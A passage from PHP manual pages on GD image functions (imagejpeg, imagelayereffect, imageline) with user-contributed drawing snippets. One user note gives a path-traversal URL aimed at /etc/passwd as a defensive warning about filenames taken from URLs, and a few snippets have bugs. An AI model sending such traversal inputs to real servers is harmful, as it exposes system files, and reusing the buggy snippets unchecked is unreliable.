    header('Content-transfer-encoding: binary');
    header('Content-length: '.filesize($filename));
    readfile($filename);
?>

That way you avoid the overhead of reading and parsing the image, you simply send it directly to the browser.

This is particularly useful if you're using PHP to implement access controls, because it allows you to redirect files from areas of the filesystem browsers can't normally access (although the filename should always come from your script if possible, and not from a URL field, to prevent subverting it with URLs such as image.php?../../../etc/passwd).
gzink at zinkconsulting dot com 01-Jan-2004 03:17
Don't forget that JPEG compression has artifacts! And they're not all really obvious. The PHP JPEG compression is pretty decent, but it seems to generally:

-Lighten the image overall, by a reasonable amount (never seen this before, but it will drive graphic designers crazy, you might want to darken the image before compressing it)
-Reduce saturation, especially with images with lots of points of different color within a few pixels of each other (this is a documented feature of JPEG)
-Seriously mess with blue colors, which is common to all JPEG but really annoying in some situations with blue and black or other detailed blue parts

You might want to consider using imagepng() and outputting a PNG image instead of a JPEG if any of the above affect you, or your image is not very photo-like. Sometimes I have an algorithm compare JPEG to PNG for an image and send the smaller version to the user.

Also, when using imagepng(), you should use imageinterlace() before it 95% of the time. Interlaced JPEGs load progressively, improving in quality as the image loads, so users on slower connections see the whole image at low quality. All this happens without affecting the file size (actually, sometimes the file size is smaller!) or final quality.

Hope this helps a few people out. It's not all that obvious without lots of playing around.

-Galen
http://zinkconsulting.com/
chris AT NOSPAM sketchdiary DOT com 24-Sep-2003 04:20
Just a reminder, if you're passing a string of text via GET, you should rawurlencode() or urlencode() them.  Some older browsers (such as Netscape 4.x) have issues regarding spaces in the URL.

NS 4 shows a broken image:
<image src="newimage.php?text=Show me the text!">

Makes all browsers happy:
<image src="newimage.php?text=<? echo urlencode('Show me the text!'); ?>">

Better to be safe than sorry...
irishcybernerd at email dot com 29-May-2003 10:33
Rather than using the temporary file, as described above, you can buffer the output stream. Someone else showed me this, and it seems to work very nicely.

    //Start buffering the output stream
    ob_start();

    // output the image as a file to the output stream
    Imagejpeg($im);

    //Read the output buffer
    $buffer = ob_get_contents();

    //clear the buffer
    ob_end_clean();

    //use $buffer as you wish...
jt at tsw dot org dot uk 24-Feb-2003 07:39
I've just read all this AFTER solving the problem in my own little way. (this is re dumping the image into a string)

Im not actually saving the file to a database, but I'm passing it over XML:RPC so I have the constraint that I cant just dump it to browser, and also its not binary safe.. my solution does not involve ob_start(); which might arguably be the more elgant solution. I didnt see my solution listed, so I thought I aught to post it to add to the wealth of knowledge:

[apologies if this is incorrect, im snipping from a large bit of irrelevent XML:RPC catching stuff]

$tmpfname = tempnam ("/tmp", "FOO");      // Generate the temp file

Imagejpeg($im,$tmpfname);                        // save me image to the file

$temp = fopen($tmpfname,"rb");                  // <- Open the file for reading binary

$buffer = fread($temp,filesize($tmpfname));  // get that data into the buffer
fclose($temp);                                            // close the file
unlink($tmpfname);                                     // finished with the file, discard

$out = base64_encode($buffer);                  // encode it (not nessicary if you are using some kind of binary safe function with the info)

and of course on the other end of whatever your doing,

[ some function to get $in ]

header("Content-type: image/jpeg");
$in = base64_decode($buffer);          // get the binary data back
echo $in;

This should work with things like Imagepng

Hope that helps anyone out.
crazyted at crazyted dot com 19-Feb-2003 09:51
In regards to adding images (or any other binary file) to a database, unless you absolutely *have* to, a MUCH better solution is to simply save the file you create to a directory and update your database with a URL to this file.

When I first started DB development I was hung up with BLOBs and how to make them effectively work with PHP but realized that they can severely impact performance and you also limit what you can do with those files once they're inside the DB.

If you can avoid using BLOBs, and most people can, then by all means just create a look-up table for your file urls and save them to a directory to store the files. File access and scalability will be greatly increased in most cases.
dominik at deobald dot org 26-Dec-2002 07:27
About dwards's note: If you choose to send an image to the user directly and don't want to have "strange characters", you have to set the mime-type of the result the user is going to receive:

header('Content-Type: image/jpeg');
imagejpeg($img);
dward at outeru dot comewithnospam 19-Jul-2002 05:57
It took me quite a while to figure out how to output dynamic images along with html with my php scripts.

I may be dim but I'm sure I'm not the only one. So here it is if you need it.

Instead of sending the image directly to the browser, which ends up looking like a bunch of garbage to most users, send an IMG tag with the SRC attribute set to your PHP script that creates the image.

echo '<IMG SRC="makeimg.php?args=YourMakeImgArgs">';
dklein at gmx dot de 11-Dec-2001 08:52
Looks like any specified resolution settings in a JPEG file get lost when using imageJPEG() function in a script.
I had a high resolution JPEG which i added text to with imagestringup() so my customer can print the emailed JPEG as a filled form, but printing both Graphics from Photoshop revealed that any JPEG created is downsampled to 72 dpi, while width and height is kept.
(72 dpi is the standard web resolution)
Nothing to wonder about, but maybe if you read this you dont need to scratch your head :)
pingling at idea dot net dot pl 23-Oct-2001 04:27
As the GD 1.8.4 manual says, the quality should be a value in the range 0-95. And this seems to be true - setting it to 100 doesn't change the default quality.
godehardt at hotmail dot com 03-Jul-2001 12:28
If you call imagecreatefromjpeg and load a jpeg with 75% quality and output it with imagejpeg u can specify the new quality for e.g. 90% and u can increase quality, but output will look like 75% quality picture with the only difference that the new pic is bigger.

So u should check the source quality before u alter output quality. In most cases a quality of 75% is sufficient. For previews i use 50%.

But i make a check if source quality is lower than my personal output quality, i will not chance source quality !

Hope that helps your Webserver and keeps the traffic low :-)
imageistruecolor
imagelayereffect
GD and Image Functions


Set the alpha blending flag to use the bundled libgd layering effects

imagejpeg
imageline
GD and Image Functions
PHP Manual

imagelayereffect

(PHP 4 >= 4.3.0, PHP 5)

imagelayereffect — Set the alpha blending flag to use the bundled libgd layering effects

Description

bool imagelayereffect ( resource $image , int $effect )

Set the alpha blending flag to use the bundled libgd layering effects.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

effect

One of the following constants:

IMG_EFFECT_REPLACE
Use pixel replacement (equivalent of passing TRUE to imagealphablending())
IMG_EFFECT_ALPHABLEND
Use normal pixel blending (equivalent of passing FALSE to imagealphablending())
IMG_EFFECT_NORMAL
Same as IMG_EFFECT_ALPHABLEND.
IMG_EFFECT_OVERLAY
Overlay has the effect that black background pixels will remain black, white background pixels will remain white, but grey background pixels will take the colour of the foreground pixel.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagelayereffect() example

<?php
// Setup an image
$im = imagecreatetruecolor(100, 100);

// Set a background
imagefilledrectangle($im, 0, 0, 100, 100, imagecolorallocate($im, 220, 220, 220));

// Apply the overlay alpha blending flag
imagelayereffect($im, IMG_EFFECT_OVERLAY);

// Draw two grey ellipses
imagefilledellipse($im, 50, 50, 40, 40, imagecolorallocate($im, 100, 255, 100));
imagefilledellipse($im, 50, 50, 50, 80, imagecolorallocate($im, 100, 100, 255));
imagefilledellipse($im, 50, 50, 80, 50, imagecolorallocate($im, 255, 100, 100));

// Output
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagelayereffect()

Notes

Note: This function is only available if PHP is compiled with the bundled version of the GD library.

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

User Contributed Notes

andrew at iwebsolutions dot co dot uk 07-Oct-2008 03:38
I have been getting a fatal error:

Fatal error: Call to undefined function imagelayereffect()

This doesn't work with Ubuntu server (8.04 lts) and the php5-gd package.  If you need this you will have to recompile PHP with GD built-in.
[myname] at mac dot com 23-Feb-2008 11:45
^^ my name is coreyward ^^

imagelayereffect needs to be applied to the destination image, not the source image. As noted, the only useful "effect" as of this time is IMG_EFFECT_OVERLAY since the others are merely another way of setting the alpha blending flag.

You can also use imagecopymerge with a lower pct argument to blend two images with more control over the opacity at which the top image is blended.

<?

// overlays $im_src onto $im_dst properly (assuming same dims)

imagelayereffect($im_dst, IMG_EFFECT_OVERLAY);
imagecopy($im_dst, $im_src, 0, 0, 0, 0, $im_dst_x, $im_dst_y);

?>
Remon 05-Feb-2008 01:12
I found the following example on a Chinese site and translated and adjusted it. It creates a portrait from the sample picture.

<?php

// Portrait image
$im = imagecreatefromjpeg( "sample.jpg");

// Get width and height
$w = imagesx($im);
$h = imagesy($im);

// Non-through
$c_visible = 0x007F7F7F;
// Background (black)
$c_bg = 0x00000000;

// Create mask
$im_mask = imagecreatetruecolor($w,$h);
imageFilledRectangle($im_mask, 0,0, $w,$h, $c_bg);
imageFilledEllipse ($im_mask, $w/2,$h/2, $w*.9,$h*.9, $c_visible);

// Only overlay seems to something useful
imagelayereffect($im_mask, IMG_EFFECT_OVERLAY);

imagecopy($im_mask, $im, 0,0, 0,0, $w,$h);
imagedestroy($im);

imagepng($im_mask);
imagedestroy($im_mask);

?>

Try removing the 'create mask' code and just add another image with 'createimagefromjpeg' to see 'normal' overlay. It blends the colors like different layers in Photoshop.
06-Feb-2005 04:36
I assume, that the specific effects are similiar to those used in Adobe Photoshop for blending layers.
There might be things like IMG_EFFECT_MULTIPLY resulting of that.
imagejpeg
imageline
GD and Image Functions


Draw a line

imagelayereffect
imageloadfont
GD and Image Functions
PHP Manual

imageline

(PHP 4, PHP 5)

imageline — Draw a line

Description

bool imageline ( resource $image , int $x1 , int $y1 , int $x2 , int $y2 , int $color )

Draws a line between the two given points.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

x1

x-coordinate for first point.

y1

y-coordinate for first point.

x2

x-coordinate for second point.

y2

y-coordinate for second point.

color

The line color. A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Drawing a thick line

<?php

function imagelinethick($image, $x1, $y1, $x2, $y2, $color, $thick = 1)
{
    /* this way it works well only for orthogonal lines
    imagesetthickness($image, $thick);
    return imageline($image, $x1, $y1, $x2, $y2, $color);
    */
    if ($thick == 1) {
        return imageline($image, $x1, $y1, $x2, $y2, $color);
    }
    $t = $thick / 2 - 0.5;
    if ($x1 == $x2 || $y1 == $y2) {
        return imagefilledrectangle($image, round(min($x1, $x2) - $t), round(min($y1, $y2) - $t), round(max($x1, $x2) + $t), round(max($y1, $y2) + $t), $color);
    }
    $k = ($y2 - $y1) / ($x2 - $x1); //y = kx + q
    $a = $t / sqrt(1 + pow($k, 2));
    $points = array(
        round($x1 - (1+$k)*$a), round($y1 + (1-$k)*$a),
        round($x1 - (1-$k)*$a), round($y1 - (1+$k)*$a),
        round($x2 + (1+$k)*$a), round($y2 - (1-$k)*$a),
        round($x2 + (1-$k)*$a), round($y2 + (1+$k)*$a),
    );
    imagefilledpolygon($image, $points, 4, $color);
    return imagepolygon($image, $points, 4, $color);
}

?>

See Also

  • imagecreatetruecolor() - Create a new true color image
  • imagecolorallocate() - Allocate a color for an image

User Contributed Notes

Anonymous 24-Jul-2011 09:44
The most bold-line-functions i found have problems with lines in a certian direction (they draw smaller lines with some angles). To do a real bold line just use this function:

<?php
function imageBoldLine($resource, $x1, $y1, $x2, $y2, $Color, $BoldNess=2, $func='imageLine')
{
 $center = round($BoldNess/2);
 for($i=0;$i<$BoldNess;$i++)
 {
  $a = $center-$i; if($a<0){$a -= $a;}
  for($j=0;$j<$BoldNess;$j++)
  {
   $b = $center-$j; if($b<0){$b -= $b;}
   $c = sqrt($a*$a + $b*$b);
   if($c<=$BoldNess)
   {
    $func($resource, $x1 +$i, $y1+$j, $x2 +$i, $y2+$j, $Color);
   }
  }
 }
}
?>
kingofnumbers at windowslive dot com 14-Oct-2010 10:39
a function to draw a circle :)

<?php
function imagecircle($source,$r,$x,$y,$color){
  for($i = 0;$i<=2*pi();$i+=(pi()/180)){
    imageline($source,cos($i)*$r+$x,sin($i)*$r+$y,
cos($i+(pi()/180))*$r+$x,sin($i+(pi()/180))*$r+$y,$color);
  }
}
?>

Ex:

<?php
function imagecircle($source,$r,$x,$y,$color){
  for($i = 0;$i<=2*pi();$i+=(pi()/180)){
    imageline($source,cos($i)*$r+$x,sin($i)*$r+$y,
cos($i+(pi()/180))*$r+$x,sin($i+(pi()/180))*$r+$y,$color);
  }
}
$im_width = 200;
$im_height = 200;
$source = imagecreate($im_width,$im_height);
$w = imagecolorallocate($source,235 ,235,235);
$blue = imagecolorallocate($source,00,00,255);
imagecircle($source,50,50,50,$blue);
imagecircle($source,50,150,50,$blue);
imagecircle($source,50,50,150,$blue);
imagecircle($source,50,150,150,$blue);
header("Content-Type: image/png");
imagepng($source);
?>
allenn at hot dot ee 31-May-2010 02:55
Function drawing of a line by a brush uses midpoint circle algorithm..., if dullness I agree to remove :)))

<?php
//function drawLine(resource$image,int $x0,int $y0,int $x1,int $y1,int $lineWidth,int $color)
function drawLine($image,$x0, $y0,$x1, $y1,$radius,$color)
{
  $f = 1 - $radius;
  $ddF_x= 1;
  $ddF_y = -2 * $radius;
  $x= 0;
  $y = $radius;
    imageline($image,$x0, $y0 + $radius,$x1, $y1 + $radius,$color);
     imageline($image,$x0, $y0 - $radius,$x1, $y1 - $radius,$color);
    imageline($image,$x0 + $radius, $y0,$x1 + $radius, $y1,$color);
    imageline($image,$x0 - $radius, $y0,$x1 - $radius, $y1,$color);

  while($x< $y)
  {
    if($f >= 0)
    {
      $y--;
      $ddF_y += 2;
      $f += $ddF_y;
    }
    $x++;
    $ddF_x+= 2;
    $f += $ddF_x;
    imageline($image,$x0 + $x, $y0 + $y,$x1 + $x, $y1+ $y,$color);
       imageline($image,$x0 - $x, $y0 + $y,$x1 - $x, $y1 + $y,$color);
       imageline($image,$x0 + $x, $y0 - $y,$x1 + $x, $y1 - $y,$color);
       imageline($image,$x0 - $x, $y0 - $y,$x1 - $x, $y1 - $y,$color);
       imageline($image,$x0 + $y, $y0 + $x,$x1 + $y, $y1 + $x,$color);
       imageline($image,$x0 - $y, $y0 + $x,$x1 - $y, $y1 + $x,$color);
       imageline($image,$x0 + $y, $y0 - $x,$x1 + $y, $y1 - $x,$color);
       imageline($image,$x0 - $y, $y0 - $x,$x1 - $y, $y1 - $x,$color);

  }
}
header ('Content-type: image/png');
$img = imagecreatetruecolor(600,600);
$col = imagecolorallocate($img,0,255,252);
//use the function
rasterCircle($img,50, 50,540,540,40,$col);
imagepng($img);
imagedestroy($img);
?>
sbm007 at gmail dot com 15-Nov-2009 03:17
Here is a analog clock representation of the system time along with digits for hours and little dots for minutes/seconds:

<?php
$img = imagecreatetruecolor(450, 450);

$white = imagecolorallocate($img, 255, 255, 255);
$red = imagecolorallocate($img, 255, 0, 0);
$black = imagecolorallocate($img, 0, 0, 0);
$grey = imagecolorallocate($img, 211, 211, 211);

imagefill($img, 0, 0, $white);
imagearc($img, 224, 224, 400, 400, 0, 0, $black);
imagefilledarc($img, 224, 224, 15, 15, 0, 0, $black, IMG_ARC_PIE);

for ($zz = 0; $zz < 60; $zz++) {
    $digitCoords['x'][] = 175 * cos(deg2rad(($zz-10) * (360/60))) + 224;
    $digitCoords['y'][] = 175 * sin(deg2rad(($zz-10) * (360/60))) + 224;
}

for ($zz = 0; $zz < 60; $zz++) {
    if ($zz % 5 == 0)
        imagestring($img, 5, $digitCoords['x'][$zz] - 4, $digitCoords['y'][$zz] - 6, ($zz/5) + 1, $black);
    else
        imagefilledarc($img, $digitCoords['x'][$zz], $digitCoords['y'][$zz], 3, 3, 0, 0, $grey, IMG_ARC_PIE);
}

$seconds = date('s');
$minutes = date('i') + ($seconds/60);
$hours = date('h') + ($minutes/60);

$r_sec = 175;
$r_min = 175;
$r_hr = 125;

$x_sec = $r_sec * cos(deg2rad(($seconds-15) * (360/60))) + 224;
$y_sec = $r_sec * sin(deg2rad(($seconds-15) * (360/60))) + 224;

$x_min = $r_min * cos(deg2rad(($minutes-15) * (360/60))) + 224;
$y_min = $r_min * sin(deg2rad(($minutes-15) * (360/60))) + 224;

$x_hr = $r_hr * cos(deg2rad(($hours-3) * (360/12))) + 224;
$y_hr = $r_hr * sin(deg2rad(($hours-3) * (360/12))) + 224;

imageline($img, 224, 224, $x_sec, $y_sec, $red);
imagesetthickness($img, 3);
imageline($img, 224, 224, $x_min, $y_min, $black);
imagesetthickness($img, 5);
imageline($img, 224, 224, $x_hr, $y_hr, $black);

header("Content-type: image/png");
imagepng($img);

imagedestroy($img);
?>
Robert Lozyniak 05-Nov-2009 01:24
This code shows the current time as on a 24-hour analog clock. (I used Universal Time so as not to muck about with the time libraries.)

<?php

$t = time();

$cradius = 90;
$cmargin = 2;
$ccenter = $cradius + $cmargin;
$im = imagecreate($ccenter * 2 + 1, $ccenter * 2 + 1);

$bgcolor   = imagecolorallocate($im,255,255,255); // white background
$figscolor = imagecolorallocate($im,0,0,255); // blue figures on face
$handcolor = imagecolorallocate($im,0,0,0); // black hands
$seccolor  = imagecolorallocate($im,255,0,0); // red second hand

function myround($x) {
  if (x>0) return (int)($x+0.5);
  return (int)($x-0.5);
}

function mysin($x,$r) {
  return myround($r*sin(fmod((float)$x,1.0)*2*M_PI));
}

function mycos($x,$r) {
  return myround($r*cos(fmod((float)$x,1.0)*2*M_PI));
}

// draw text on face
imagestring ($im, 4, $ccenter-11, myround($ccenter-($cradius*0.5)), "UTC", $figscolor);

// draw numbers on face
for ($i=0; $i<24; $i++) {
  $x = $ccenter + mysin($i/24,$cradius*0.9);
  $y = $ccenter - mycos($i/24,$cradius*0.9);
  imagestring ($im, 4, $x-7, $y-7, substr('0'.$i,-2), $figscolor);
}

// draw hands
imagesetthickness($im, 3);
$x = $ccenter + mysin($t/86400,$cradius*0.7);
$y = $ccenter - mycos($t/86400,$cradius*0.7);
imageline($im, $ccenter, $ccenter, $x, $y, $handcolor);
$x = $ccenter + mysin($t/3600,$cradius*0.95);
$y = $ccenter - mycos($t/3600,$cradius*0.95);
imageline($im, $ccenter, $ccenter, $x, $y, $handcolor);
imagesetthickness($im, 1);
$x = $ccenter + mysin($t/60,$cradius*0.95);
$y = $ccenter - mycos($t/60,$cradius*0.95);
imageline($im, $ccenter, $ccenter, $x, $y, $seccolor);

header('Content-type: image/png');
imagepng($im);

imagedestroy($im);

?>
Anonymous 12-Jul-2009 01:16
Here's another way of modifying likavcan's code to display filled arrows. This makes use of imagefilledpolygon(...) instead of recursive function calls.

<?php
function arrow($im, $x1, $y1, $x2, $y2, $alength, $awidth, $color) {
    $distance = sqrt(pow($x1 - $x2, 2) + pow($y1 - $y2, 2));

    $dx = $x2 + ($x1 - $x2) * $alength / $distance;
    $dy = $y2 + ($y1 - $y2) * $alength / $distance;

    $k = $awidth / $alength;

    $x2o = $x2 - $dx;
    $y2o = $dy - $y2;

    $x3 = $y2o * $k + $dx;
    $y3 = $x2o * $k + $dy;

    $x4 = $dx - $y2o * $k;
    $y4 = $dy - $x2o * $k;

    imageline($im, $x1, $y1, $dx, $dy, $color);
    imagefilledpolygon($im, array($x2, $y2, $x3, $y3, $x4, $y4), 3, $color);
}
?>
ca dot ddy at gmx dot de 31-Mar-2009 05:17
I've modified the Arrow function of likavcan.

This arrowFunction draws the arrow filled :

<?php
function arrow($im, $x1, $y1, $x2, $y2, $alength, $awidth, $color) {

    if( $alength > 1 )
        arrow( $im, $x1, $y1, $x2, $y2, $alength - 1, $awidth - 1, $color );

    $distance = sqrt(pow($x1 - $x2, 2) + pow($y1 - $y2, 2));

    $dx = $x2 + ($x1 - $x2) * $alength / $distance;
    $dy = $y2 + ($y1 - $y2) * $alength / $distance;

    $k = $awidth / $alength;

    $x2o = $x2 - $dx;
    $y2o = $dy - $y2;

    $x3 = $y2o * $k + $dx;
    $y3 = $x2o * $k + $dy;

    $x4 = $dx - $y2o * $k;
    $y4 = $dy - $x2o * $k;

    imageline($im, $x1, $y1, $dx, $dy, $color);
    imageline($im, $x3, $y3, $x4, $y4, $color);
    imageline($im, $x3, $y3, $x2, $y2, $color);
    imageline($im, $x2, $y2, $x4, $y4, $color);

}
?>
keksnicoh 07-Dec-2008 12:12
Little function I made to draw faaaaat lines...

<?php
/**
 * imageBoldLine function
 * this function allows you to draw faaaat lines.
 *
 * To keep the function a bit more flexible, it's possible to change the function which draw the lines
 * @param resource $resource
 * @param int $x1
 * @param int $y1
 * @param int $x2
 * @param int $y2
 * @param int $Color
 * @param int $BoldNess (1 = thin, 2=bold, 1000 = extreme fat)
 * @param string $func Functionname. Notice that the function must got the same signature.
 * @return void
 * @author Nicolas 'keksnicoh' Heimann <www.salamipla.net>
 * @date nov08
 * <code><?php
 * imageBoldLine($res, 0, 0, 100, 100, $col, 5);
 * ?></code>
 */
function imageBoldLine($resource, $x1, $y1, $x2, $y2, $Color, $BoldNess=2, $func='imageLine')
{
    $x1 -= ($buf=ceil(($BoldNess-1) /2));
    $x2 -= $buf;
    for($i=0;$i < $BoldNess;++$i)
        $func($resource, $x1 +$i, $y1, $x2 +$i, $y2, $Color);
}
?>
huirong dot jin at gmail dot com 01-Feb-2008 08:10
An example to draw Lissajous Curve (http://en.wikipedia.org/wiki/Lissajous_curve):
x = a1 * cos(t/T1);
y = a2 * sin(t/T2);

You can easily modify the codes to create your own oscilloscope application!

<?php
header ("Content-type: image/png");

$T1 = 20;
$T2 = 30;

$myImage = @imagecreatetruecolor(640, 480)
      or die("Cannot Initialize new GD image stream");
$text_color = imagecolorallocate($myImage, 255, 255, 224);
$poly_color = imagecolorallocate($myImage, 124, 120, 224);

//calculate x-value and y-value point by point
$points = array();
for ($i=0; $i<1000; $i=$i+1)
{
    //define curve's function
    $x = 310*cos($i/$T1); //define x-value
    $y = 230*sin($i/$T2);//define y-value

    //move the coordinate, append a point's x-value and y-value
    $points[] = 320+$x; //x-value
    $points[] = 240-$y;  //y-value
}

//count points
$totalPoints = count($points)/2;

//drawing title
$title = "Final Plot ($totalPoints points)";
imagestring($myImage, 3, 5, 5,  $title, $text_color);

/** drawing points one by one, notice if there
 * are 10 points, we need to draw 9 lines:
 * 1) point 0 to 1;
 * 2) point 1 to 2;
 * ...
 * ...
 * 9) point 8 to 9;
 */
for ($i=0; $i<$totalPoints-1; $i++)
{
    imageLine($myImage, $points[2*$i], $points[1+2*$i], $points[2+2*$i], $points[3+2*$i], $poly_color);
}

//finalizing
imagepng($myImage);
imagedestroy($myImage);
?>
huirong dot jin at gmail dot com 31-Jan-2008 01:57
An example to draw Amplitude Modulation curve: y = c * sin (x/a) * sin (x/b) . You can easily modify the codes to create your own oscilloscope application!

<?php
header ("Content-type: image/png");
$myImage = @imagecreatetruecolor(640, 480)
      or die("Cannot Initialize new GD image stream");
$text_color = imagecolorallocate($myImage, 255, 255, 224);
$poly_color = imagecolorallocate($myImage, 124, 120, 224);

//calculate x-value and y-value point by point
$points = array();
for ($i=1; $i<640; $i=$i+1)
{
    //define curve's function
    $x = $i; //define x-value, which is $i itself
    $y = 150*sin($x/80)*sin($x/5);//define y-value

    //append a point's x-value and y-value
    $points[] = $x; //x-value
    $points[] = 240-$y;  //y-value
}

//count points
$totalPoints = count($points)/2;

//drawing title
$title = "Final Plot ($totalPoints points)";
imagestring($myImage, 3, 5, 5,  $title, $text_color);

/** drawing points one by one, notice if there
 * are 10 points, we need to draw 9 lines:
 * 1) point 0 to 1;
 * 2) point 1 to 2;
 * ...
 * ...
 * 9) point 8 to 9;
 */
for ($i=0; $i<$totalPoints-1; $i++)
{
    imageLine($myImage, $points[2*$i], $points[1+2*$i], $points[2+2*$i], $points[3+2*$i], $poly_color);
}

//finalizing
imagepng($myImage);
imagedestroy($myImage);
?>
admin at xpmail dot net 30-Apr-2007 05:45
example of a Simple grid...
bool imagegrid ( resource $image, int $width, int $Height, int $size, mixed $color )

<?php
Header("Content-type: image/png");
$Width=450;
$Height=450;

$img = ImageCreateTrueColor($Width, $Height);

$bg = imagecolorallocate($img, 255, 255, 255);
imagefill($img, 0, 0, $bg);

$grid = imagecolorallocate($img, 225, 245, 249);

imagesetstyle($img, array($bg, $grid));
imagegrid($img, $Width, $Height, 10, IMG_COLOR_STYLED);
//makegrid($img, $Width, $Height, 10, $grid);

ImagePNG($img);
ImageDestroy($img);

function imagegrid($image, $w, $h, $s, $color)
{
    for($iw=1; $iw<$w/$s; $iw++){imageline($image, $iw*$s, 0, $iw*$s, $w, $color);}
    for($ih=1; $ih<$h/$s; $ih++){imageline($image, 0, $ih*$s, $w, $ih*$s, $color);}
}
?>
Jonathan W. 27-Apr-2007 01:15
I've modified the previous entry for drawing on a polar coordinate system to better represent angles based on a 360º whole circle bearing.

<?php

function imagepolarline($image,$x1,$y1,$length,$angle,$color)
{
    $x2 = $x1 + sin( deg2rad($angle) ) * $length;
    $y2 = $y1 + cos( deg2rad($angle+180) ) * $length;

    imageline($image,$x1,$y1,$x2,$y2,$color);
}

?>
Ian B 07-Nov-2006 03:59
Here's a function to plot a line on a polar coordinate system:

<?php

function imagepolarline($image,$x1,$y1,$length,$angle,$color)
{
    $x2 = $x1 + sin( deg2rad($angle+90) ) * $length;
    $y2 = $y1 + cos( deg2rad($angle+90) ) * $length;

    imageline($image,$x1,$y1,$x2,$y2,$color);
}

?>

x1,y1 are the coordinates for the central point. If you want the orientation to be like a compass i.e. 90 degrees = East, 180 = South etc, then use the following:

$x2 = $x1 + cos( deg2rad($angle-90)) * $length;
$y2 = $y1 + sin( deg2rad($angle-90)) * $length;
pb_2001 at haefft dot de 04-Mar-2006 02:41
This is a function to make a dotted line. It accepts (it actually requires) 7 parameters and returns 1 if everything went OK and 0 if there was a problem.

int imagelinedotted ( resource im, int x1, int y1, int x2, int y2, int dist, int col )

imagelinedotted() draws a line from x1, y1 to x2, y2 (top left is 0, 0) in image im of colour col where dist defines the distance (measured in pixels) between one dot and another.

<?php
function imagelinedotted ($im, $x1, $y1, $x2, $y2, $dist, $col) {
    $transp = imagecolortransparent ($im);

    $style = array ($col);

    for ($i=0; $i<$dist; $i++) {
        array_push($style, $transp);        // Generate style array - loop needed for customisable distance between the dots
    }

    imagesetstyle ($im, $style);
    return (integer) imageline ($im, $x1, $y1, $x2, $y2, IMG_COLOR_STYLED);
    imagesetstyle ($im, array($col));        // Reset style - just in case...
}
?>
fatpratmatt at gmail dot com 30-Jan-2006 11:43
Here is a function which draws lines that cross at a specific point [It may need some tweaking]:

<?php
// Image Cross by Matt Evans
// $im - image resource
// $x - x coordinate where the lines should cross
// $y - y coordinate where the lines should cross
// $size - the length of each line
// $colour - the colour of the cross

function imagecross($im, $x, $y, $size = 5, $colour) {
imageline($im, $x+$size/2, $y+$size/2, $x-$size/2, $y-$size/2, $colour);
imageline($im, $x-$size/2, $y+$size, $x+$size/2, $y-$size, $colour);
}

// Example
imagecross($im, 50, 50, 5, $crosscolour);
?>
21-Oct-2005 07:30
imageline coordinate variables are documented as int ,  a value in decimal format will be truncated.

This may be useful when, for example, applying a non-integer scaling factor in generating an image.

Care should be taken to ensure this does not create significant errors that affect the quality of the image. For example :

<?php
$x=0.00000000001;$y=100;
imageline($img,0,0,0,$y+$x);
imageline($img,0,0,0,$y-$x);
?>

the first line will be straight , the second will have a step. Use round() where appropriate.
meid at gmx dot at 07-Sep-2005 10:39
Some simple code to draw lines with specific thickness using "imagefilledpolygon". Useful if your gdlib does not support "imagesetthickness".

<?
function dickelinie($img,$start_x,$start_y,$end_x,$end_y,$color,$thickness)
{
    $angle=(atan2(($start_y - $end_y),($end_x - $start_x)));

    $dist_x=$thickness*(sin($angle));
    $dist_y=$thickness*(cos($angle));

    $p1x=ceil(($start_x + $dist_x));
    $p1y=ceil(($start_y + $dist_y));
    $p2x=ceil(($end_x + $dist_x));
    $p2y=ceil(($end_y + $dist_y));
    $p3x=ceil(($end_x - $dist_x));
    $p3y=ceil(($end_y - $dist_y));
    $p4x=ceil(($start_x - $dist_x));
    $p4y=ceil(($start_y - $dist_y));

    $array=array(0=>$p1x,$p1y,$p2x,$p2y,$p3x,$p3y,$p4x,$p4y);
    imagefilledpolygon ( $img, $array, (count($array)/2), $color );
}
// Example:
header ("Content-type: image/jpeg");
$img = ImageCreate (210, 210) or die("Cannot Initialize new GD image stream ");
$backgroundcolor = ImageColorAllocate ($img, 255, 255, 255);
$orange = ImageColorAllocate($img, 252, 102, 4);
dickelinie($img, 10, 10, 10, 200,$orange,2);
dickelinie($img, 10, 200, 200, 10,$orange,2);
dickelinie($img, 200, 10, 200, 200,$orange,2);
imagejpeg($img);
ImageDestroy($img);

?>
d [AT] sprid [DOT] de 06-Sep-2005 03:12
Here my function do clear all problems. With this, you can draw firstly smooth lines (basic code adapted from code_couturier at graffiti dot net, with some performance changes). The special is, you can define the alpha-value of the line (0 = normal smooth line, 127 = fully transparent). Change whatever you want to make it better, but post your results ;)

<?php
/**
 * function imageSmoothAlphaLine() - version 1.0
 * Draws a smooth line with alpha-functionality
 *
 * @param   ident    the image to draw on
 * @param   integer  x1
 * @param   integer  y1
 * @param   integer  x2
 * @param   integer  y2
 * @param   integer  red (0 to 255)
 * @param   integer  green (0 to 255)
 * @param   integer  blue (0 to 255)
 * @param   integer  alpha (0 to 127)
 *
 * @access  public
 *
 * @author  DASPRiD <d@sprid.de>
 */
function imageSmoothAlphaLine ($image, $x1, $y1, $x2, $y2, $r, $g, $b, $alpha=0) {
  $icr = $r;
  $icg = $g;
  $icb = $b;
  $dcol = imagecolorallocatealpha($image, $icr, $icg, $icb, $alpha);

  if ($y1 == $y2 || $x1 == $x2)
    imageline($image, $x1, $y2, $x1, $y2, $dcol);
  else {
    $m = ($y2 - $y1) / ($x2 - $x1);
    $b = $y1 - $m * $x1;

    if (abs ($m) <2) {
      $x = min($x1, $x2);
      $endx = max($x1, $x2) + 1;

      while ($x < $endx) {
        $y = $m * $x + $b;
        $ya = ($y == floor($y) ? 1: $y - floor($y));
        $yb = ceil($y) - $y;

        $trgb = ImageColorAt($image, $x, floor($y));
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel($image, $x, floor($y), imagecolorallocatealpha($image, ($tcr * $ya + $icr * $yb), ($tcg * $ya + $icg * $yb), ($tcb * $ya + $icb * $yb), $alpha));

        $trgb = ImageColorAt($image, $x, ceil($y));
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
